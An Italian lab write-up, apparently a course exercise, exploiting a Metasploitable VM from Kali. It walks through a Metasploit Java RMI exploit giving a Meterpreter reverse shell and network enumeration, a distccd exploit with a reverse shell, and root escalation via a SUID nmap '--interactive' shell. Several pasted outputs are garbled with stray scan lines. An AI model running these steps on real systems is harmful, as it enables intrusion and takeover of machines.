

Meterpreter è un payload avanzato incluso nel **framework Metasploit**, utilizzato principalmente in attività di **post-exploitation** (ovvero dopo che un sistema è stato compromesso).

Meterpreter si carica direttamente in memoria senza scrivere file sul disco, rendendo più difficile la rilevazione da parte di antivirus o sistemi di difesa basati su analisi di file.

Le comunicazioni tra il sistema compromesso e l'attaccante vengono cifrate, aumentando la difficoltà di intercettazione e analisi del traffico.

Il primo passo è quello di impostare gli indirizzi IP delle macchine come richiesto da consegna, ovvero:

Kali Linux con IP 192.168.77.111

Metasploitable con indirizzo IP 192.168.77.112

```
GNU nano 2.0.7 File: /etc/network/interfaces Modified
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.77.112
    netmask 255.255.255.0
    gateway 192.168.20.1

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP gro
up default qlen 1000
    link/ether 08:00:27:6e:13:6e brd ff:ff:ff:ff:ff:ff
    inet 192.168.77.111/24 brd 192.168.77.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::5863:d218:7700:f60e/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Successivamente ho provato a pingare le due macchine per avere la conferma che fossero messe in comunicazione sotto la stessa rete:

```
(kali@kali)-[~]
$ ping 192.168.77.112
PING 192.168.77.112 (192.168.77.112) 56(84) bytes of data:
64 bytes from 192.168.77.112: icmp_seq=1 ttl=64 time=1.36 ms
64 bytes from 192.168.77.112: icmp_seq=2 ttl=64 time=0.793 ms
--- 192.168.77.112 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 0.795/1.076/1.300/0.263 ms

msfadmin@metasploitable:~$ ping 192.168.77.111
PING 192.168.77.111 (192.168.77.111) 56(84) bytes of data:
64 bytes from 192.168.77.111: icmp_seq=1 ttl=64 time=0.772 ms
64 bytes from 192.168.77.111: icmp_seq=2 ttl=64 time=0.609 ms
64 bytes from 192.168.77.111: icmp_seq=3 ttl=64 time=0.578 ms
--- 192.168.77.111 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.578/0.655/0.772/0.065 ms
```

Ho poi eseguito una scansione nmap sulla porta richiesta nella consegna dell'esercizio usando il comando

```
(kali@kali)-[~]
$ nmap -sV -sC -p 1099 192.168.77.112
```

Ottenendo un report contenente la versione del servizio in esecuzione sulla porta indicata e informazioni sul sistema operativo della macchina:

```
Nmap scan report for 192.168.77.112
Host is up (0.00068s latency).
SSL: false
PORTS: 1099/tcp open java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:CD:C5:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
```

Dopo aver ottenuto informazioni sull'effettivo stato della porta, il servizio attivo e la versione del servizio, ho potuto avviare la Msfconsole e cercare qualche modulo che sfruttasse un exploit con quella vulnerabilità :

```
msf6 - search java_rmi

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Exe
2  \ target: Generic (Java Payload)          .               .      .      .
3  \ target: Windows x86 (Native Payload)    .               .      .      .
4  \ target: Linux x86 (Native Payload)      .               .      .      .
5  \ target: Mac OS X PPC (Native Payload)   .               .      .      .
6  \ target: Mac OS X x86 (Native Payload)   .               .      .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation
```

Trovando questo exploit con un rank eccellente, quindi decido di selezionarlo usando il comando “use 1” dove uno è il tag identificativo del exploit dopo aver effettuato la ricerca.

Successivamente vado a visualizzare tutte le informazioni richieste per l'esecuzione del exploit:

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-----
HTTPDPLAY 10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.77.112 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL        false           no        Negotiate SSL for incoming connections
SSLCert   nil             no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   nil             no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-----
LHOST     127.0.0.1       yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port
```

Noto che era necessario inserire RHOST (indirizzo macchina target) ed LHOST (indirizzo macchina attaccante), quindi vado ad impostare RHOST e LHOST usando i comandi:

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.77.112
rhosts => 192.168.77.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.77.111
lhost => 192.168.77.111
```

Successivamente vado a visualizzare i payloads disponibili ma noto che quello già inserito di default va benissimo, così lo seleziono di nuovo usando il comando “set payload 11” dove 11 è il tag identificativo del payload dopo aver effettuato la ricerca.

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads
Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/bind_aws_instance_connect .             normal No     Unix SSH Shell, Bind Instance Connect (via AWS API)
1  payload/generic/custom                  .             normal No     Custom Payload
2  payload/generic/shell_bind_aws_ssm      .             normal No     Command Shell, Bind SSM (via AWS API)
3  payload/generic/shell_bind_tcp          .             normal No     Generic Command Shell, Bind TCP Inline
4  payload/generic/shell_reverse_tcp       .             normal No     Generic Command Shell, Reverse TCP Inline
5  payload/generic/ssh/interact            .             normal No     Interact with Established SSH Connection
6  payload/java/jsp_shell_bind_tcp         .             normal No     Java JSP Command Shell, Bind TCP Inline
7  payload/java/jsp_shell_reverse_tcp      .             normal No     Java JSP Command Shell, Reverse TCP Inline
8  payload/java/meterpreter/bind_tcp        .             normal No     Java Meterpreter, Java Bind TCP Stager
9  payload/java/meterpreter/reverse_http   .             normal No     Java Meterpreter, Java Reverse HTTP Stager
10 payload/java/meterpreter/reverse_https  .             normal No     Java Meterpreter, Java Reverse HTTPS Stager
11 payload/java/meterpreter/reverse_tcp    .             normal No     Java Meterpreter, Java Reverse TCP Stager
12 payload/java/shell/bind_tcp             .             normal No     Command Shell, Java Bind TCP Stager
13 payload/java/shell/reverse_tcp          .             normal No     Command Shell, Java Reverse TCP Stager
14 payload/java/shell_reverse_tcp          .             normal No     Java Command Shell, Reverse TCP Inline
15 payload/multi/meterpreter/reverse_http  .             normal No     Architecture-Independent Meterpreter Stage,
16 payload/multi/meterpreter/reverse_https .             normal No     Architecture-Independent Meterpreter Stage,

msf6 exploit(multi/misc/java_rmi_server) > set payload 11
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Controllo un ultima volta se i dati inseriti nel modulo sono corretti:

```
Module options (exploit/multi/misc/java_rmi_server):

Name  STATE Current Setting Required Description
-----
109---p_open-----la-----rm-----
MA HTTPDELAY 10 MM:27:CB:C5:7B yes System Time that the HTTP Server will wait for the pay
) RHOSTS 192.168.77.112 yes The target host(s), see https://docs.metasploit
RPORT 1099 yes The target port (TCP)
Ser SRVHOST 0.0.0.0 formed. Pl yes report The local host or network interface to listen o
p.org/submit/
Name SRVPORT 1 8080 address (1 host) yes scan The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert path no Path to a custom SSL certificate (default is ra
URIPATH no The URI to use for this exploit (default is ran

Payload options (java/meterpreter/reverse_tcp):

Name  Current Setting Required Description
-----
LHOST 192.168.77.111 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
```

E successivamente lancio exploit notando che viene subito aperta una shell meterpreter

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.77.111:4444
[*] 192.168.77.112:1099 - Using URL: http://192.168.77.111:8080/QsqctXH1cwAGNXI
[*] 192.168.77.112:1099 - Server started.
[*] 192.168.77.112:1099 - Sending RMI Header...
[*] 192.168.77.112:1099 - Sending RMI Call...
[*] 192.168.77.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.77.112
[*] Meterpreter session 1 opened (192.168.77.111:4444 -> 192.168.77.112:39777) at 2025-01-24 04:26:00 -0500

meterpreter > _
```


Ho poi Cercando online il modo migliore per sfruttare le potenziali di Meterpreter per ottenere più informazioni possibili sulla macchina target, riuscendo a trovare un modulo di post-exploitation, chiamato “post/linux/gather/enum_networ”

Questo modulo è progettato per enumerare (raccolgere informazioni dettagliate) sulla configurazione della rete, dandomi la possibilità di ottenere informazioni su:

Configurazioni della rete

Route table

Configurazione del firewall

Configurazione del DNS

Configurazione del demone SSH

Host file

Chiavi SSH

Processi attivi (Active Connection)

Sulla rete wireless

Porte in ascolto

If-Up/If-Down files

[illegible]

Visualizzando tutti i file generati, alcuni mi sono sembrati interessanti:

If-Up/If-Down non è altro che la rappresentazione delle sottocartelle presenti all'interno della cartella "network" che contiene tutte le configurazioni della rete. All'interno delle sottocartelle sono presenti degli script da eseguire nel momento in cui la scheda dovesse essere attivata (if-Up) e se dovesse essere disattivata (if-Down)

```
/etc/network: run post/linux
if-down.d /linux/gather/enum/
if-post-down.d on post/linux
if-pre-up.d may not be compat
if-up.d Missing Meterpreter
interfaces module against me
Module running as root me
/etc/network/if-down.d:
postfix
wpasupplicant /etc/network/if-down.d
/etc/network/if-post-down.d:
wireless-tools netasexploitable
wpasupplicant data...
/etc/network/if-pre-up.d: /home
wireless-tools.conf stored in /home
wpasupplicant stored in /home
SSH config stored in /home
/etc/network/if-up.d: in /home
mountnfs devs stored in /home/
mountnfs.org connections stored
ntpdate less information stor
openssh-server ports stored in
postfix ip/if-down stored in /
wpasupplicant shell
```

È anche presente un file sulle informazioni della tabella di Routing della macchina target, come richiesto da consegna:

```
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.77.0 255.255.255.0 U 0 0 0 eth0
```

Nel file “Network Config” è presente la rappresentazione della configurazione delle schede di rete della macchina target:

```
eth0 Link encap:Ethernet HWaddr 08:00:27:cd:c5:7b
      inet addr:192.168.77.112 Bcast:192.168.77.255 Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fe0d:c57b/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:222 errors:0 dropped:0 overruns:0 frame:0 13:58:00 UTC
      TX packets:191 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:137739 (134.5 KB) TX bytes:21946 (21.4 KB) default 192.168.77.112
      Base address:0xd020 Memory:f0200000-f0220000
DNS config stored in /home/kali/.msf4/loot/20250124043338_default_192.168.77.112
lo SSHD Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:16436 Metric:1
      RX packets:197 errors:0 dropped:0 overruns:0 frame:0
      TX packets:197 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:70953 (69.2 KB) TX bytes:70953 (69.2 KB)
```

Nel file di configurazione del firewall, è presente un elenco di tutte le regole del firewall che nel caso di metasploitable, sono tutte impostate in ACCEPT e non hanno regole impostate:

```
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
```

Nel file che rappresenta i processi attivi al momento della scansione, ho notato che nell'ultima riga della lista è presente la seguente stringa:

```
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
java -pre 4728 hell root 9u IPv4 12522 TCP 192.168.77.112:39777->192.168.77.111:4444 (ESTABLISHED)
```

che sta ad indicare che un processo Java con identificativo (4728), in esecuzione come utente root, ha una connessione attiva (ENSTABLISHED) dalla macchina 192.168.77.112 dalla porta 39777 verso la macchina 192.168.77.111 dalla porta 4444, identificando così la reverse shell di Metasploit.

Per ottenere informazioni sulla arp table, ho aperto una shell con meterpreter e successivamente lanciato il comando “arp” sulla macchina target:

```
meterpreter > shell
Process 19 created.
Channel 25 created.
arp 168.77.0 *
Address HWtype HWaddress Flags Mask Iface
192.168.77.111 ether 08:00:27:6E:13:6E C eth0
```

BONUS 1

Per lo svolgimento del bonus 1 ho inizialmente effettuato un'altra scansione nmap per ottenere più dettagli sul servizio “distccd” richiesto da consegna

```
2121/tcp open ftp          ProFTPD 1.3.1
3306/tcp open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc          VNC (protocol 3.3)
```

Il servizio distccd (Distributed C/C++ Compiler Daemon) è noto per essere vulnerabile a diversi attacchi, tra cui il privilegi escalation.

Quindi sono andato sulla Msfconsole per cercare qualche modulo che sfruttasse questa vulnerabilità, trovando il seguente:

```
msf6 > search distccd
Matching Modules
=====
#  Name      open  mountd  1-3 (RPC) Disclosure Date  Rank  Check  Description
#  ----  -
0  exploit/unix/misc/distcc_exec  2002-02-01 registry excellent Yes  DistCC Daemon Command Execution
4  exploit/unix/misc/distcc_exec  2002-02-01 registry excellent Yes  DistCC Daemon Command Execution
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 08:00:27:CD:C5:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
```

Lo imposto usando il comando “use 0”, dove 0 è il tag identificativo del modulo dopo aver effettuato la ricerca, e successivamente controllo i dati richiesti per lanciare l'exploit:

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):
Name      Current Setting  Required  Description
----  -
CHOST      open  netbios-ssn  snmba smb  The local client address (WORKGROUP)
CPORT      open  exec  nokit-rsh  The local client port
Proxies    open  login  no  A proxy chain of format type:host:port[,type:host]
RHOSTS     open  shell  yes  The target host(s), see https://docs.metasploit.com/docs/using-the-framework/04-targeting.html#multiple-hosts
RPORT      open  3632  yes  The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name      Current Setting  Required  Description
----  -
LHOST     127.0.0.1  yes  The listen address (an interface may be specified)
LPORT     4444  yes  The listen port
```


Noto che necessitava di un RHOST (target) e di un LHOST (attaccante) che inserisco usando i comandi:

```
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.77.112
rhost => 192.168.77.112
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.77.111
lhost => 192.168.77.111
```

Sono poi andato a visualizzare i payloads disponibili:

```
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
=====
# Name
-----
0 payload/cmd/unix/adduser
1 payload/cmd/unix/bind_perl
2 payload/cmd/unix/bind_perl_ipv6
3 payload/cmd/unix/bind_ruby
4 payload/cmd/unix/bind_ruby_ipv6
5 payload/cmd/unix/generic
6 payload/cmd/unix/reverse
7 payload/cmd/unix/reverse_bash
8 payload/cmd/unix/reverse_bash_telnet_ssl
9 payload/cmd/unix/reverse_perl
10 payload/cmd/unix/reverse_perl_ssl
11 payload/cmd/unix/reverse_ruby
12 payload/cmd/unix/reverse_ruby_ssl
13 payload/cmd/unix/reverse_ruby_ssl_double_telnet
14 payload/cmd/unix/reverse_ssl_double_telnet

msf6 exploit(unix/misc/distcc_exec) > set payload 10
```

Decido di usare un payload che apra una reverse shell dato che, a differenza di quella bind, è la vittima a richiedere la connessione con l'attaccante evitando così qualsiasi interruzione da una possibile regola di un firewall.

Successivamente do un'ultima occhiata ai settaggi del modulo per controllare che sia tutto settato al modo giusto

```
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):
-----
Name      Current Setting  Required  Description
-----
RHOSTS    192.168.77.112  yes      The target host(s), see https://docs.metasploit.com/docs/using-the-framework/04-running-a-multi-stage-payload.html#section-4.1.1
RPORT     3632             yes      The target port (TCP)

Payload options (cmd/unix/reverse_perl):
-----
Name      Current Setting  Required  Description
-----
LHOST     192.168.77.111  yes      The listen address (an interface may be specified)
LPORT     4444             yes      The listen port
```

E lancio exploit aprendo una reverse shell nel dispositivo della vittima e controllando i permessi a mia disposizione.

```
msf6 exploit(unix/misc/dlstcc_exec) > exploit
[*] Started reverse TCP handler on 192.168.77.111:4444
[*] Command shell session 4 opened (192.168.77.111:4444 -> 192.168.77.112:37920) at 2025-01-24 06:47:08 -0500
8180/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
whoami p open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbc)
daemon tcp open mountd      1-3 (RPC #100005)
id:28/tcp open  status      1 (RPC #100024)
uid=1(daemon) gid=1(daemon) groups=1(daemon) niregistry
hostname open  nlockmgr    1-4 (RPC #100021)
metasploitable:00:27:CD:C5:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
pwd ice Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix,
/tmpux; CPE: cpe:/o:linux:linux_kernel
—
```

Noto che sto eseguendo la shell con l'utente daemon facente parte del gruppo daemon quindi ho dei privilegi molto bassi.

Il mio passo successivo è quello di cercare se sono presenti dei file con permessi speciali di SUID che consentono agli utenti che eseguono il file di farlo con i privilegi del proprietario del file, invece che con i propri

Per farlo eseguo il comando:

```
find / -perm -4000 2>/dev/null
```

```
find /
```

cerca in tutto il filesystem partendo dalla radice

-perm

consente di cercare file con permessi specifici, come lettura, scrittura, esecuzione, o permessi speciali (SUID, SGID, Sticky bit)

-4000

indica al comando di cercare file che hanno il bit SUID (Set User ID) impostato.

2>/dev/null

reindirizza eventuali messaggi di errore (ad esempio, "Permesso negato") al dispositivo virtuale

/dev/null, che scarta i messaggi, rendendo l'output più pulito

```
find / -perm -4000 2>/dev/null
/bin/mount      1-3 (RPC #100005)
/bin/fusermount 1-3 (RPC #100005)
/bin/su         1-3 (RPC #100005)
/bin/mount      1-3 (RPC #100005)
/bin/ping6      1-3 (RPC #100005)
/sbin/mount.nfs 1-3 (RPC #100005)
/lib/dhclient-client/call-dhclient-script
/usr/bin/sudoedit 1-3 (RPC #100005)
/usr/bin/X        1-3 (RPC #100005)
/usr/bin/netkit-rsh 1-3 (RPC #100005)
/usr/bin/gpasswd 1-3 (RPC #100005)
/usr/bin/traceroute6.iputils 1-3 (RPC #100005)
/usr/bin/sudo     1-3 (RPC #100005)
/usr/bin/netkit-rlogin 1-3 (RPC #100005)
/usr/bin/arping   1-3 (RPC #100005)
/usr/bin/at        1-3 (RPC #100005)
/usr/bin/newgrp    1-3 (RPC #100005)
/usr/bin/mkfs      1-3 (RPC #100005)
/usr/bin/nmap       1-3 (RPC #100005)
/usr/bin/cnsn       1-3 (RPC #100005)
/usr/bin/netkit-rpc 1-3 (RPC #100005)
/usr/bin/passwd     1-3 (RPC #100005)
/usr/bin/mtr        1-3 (RPC #100005)
/usr/sbin/uuid      1-3 (RPC #100005)
/usr/sbin/pppd      1-3 (RPC #100005)
/usr/lib/telnetlogin 1-3 (RPC #100005)
/usr/lib/apache2/suexec 1-3 (RPC #100005)
/usr/lib/eject/dmccrypt-get-device 1-3 (RPC #100005)
/usr/lib/openssh/ssh-keysign 1-3 (RPC #100005)
/usr/lib/pt_chown    1-3 (RPC #100005)
```

Noto subito che è presente il percorso "/usr/bin/nmap" e decido di vedere l'utente proprietario del file con il comando

```
ls -la /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 Apr  8 2008 /usr/bin/nmap
```

Vedendo che l'utente proprietario è proprio l'utente col massimo dei privilegi (root) quindi decido di tentare di aprire una interattiva shell dato che, quando viene lanciato Nmap in modalità interattiva, si

ottiene una sorta di "shell" all'interno dell'applicazione, in cui puoi digitare comandi per controllare Nmap o interagire con il sistema operativo

```
nmap --interactive :linux:linux_kernel  
Starting Nmap V. 4.53 ( http://insecure.org ) incorrect  
Welcome to Interactive Mode -- press h <enter> for help
```

Dopo aver ottenuto un Messaggio di benvenuto da nmap, decido di aprire una shell e usando il comando “!sh” dove “!” consente di eseguire comandi del sistema operativo direttamente dalla shell interattiva di Nmap

e “sh” specifica che si vuole avviare una shell interattiva.

Successivamente vado a vedere con che utente sto eseguendo la shell usando il comando “whoami”

```
nmap --interactive :linux:linux_kernel  
Starting Nmap V. 4.53 ( http://insecure.org ) incorrect  
Welcome to Interactive Mode -- press h <enter> for help  
nmap> !sh 1 IP address (1 host up) scanned in 148.88 s  
whoami  
root
```

Dando in output che la shell è in esecuzione come utente root.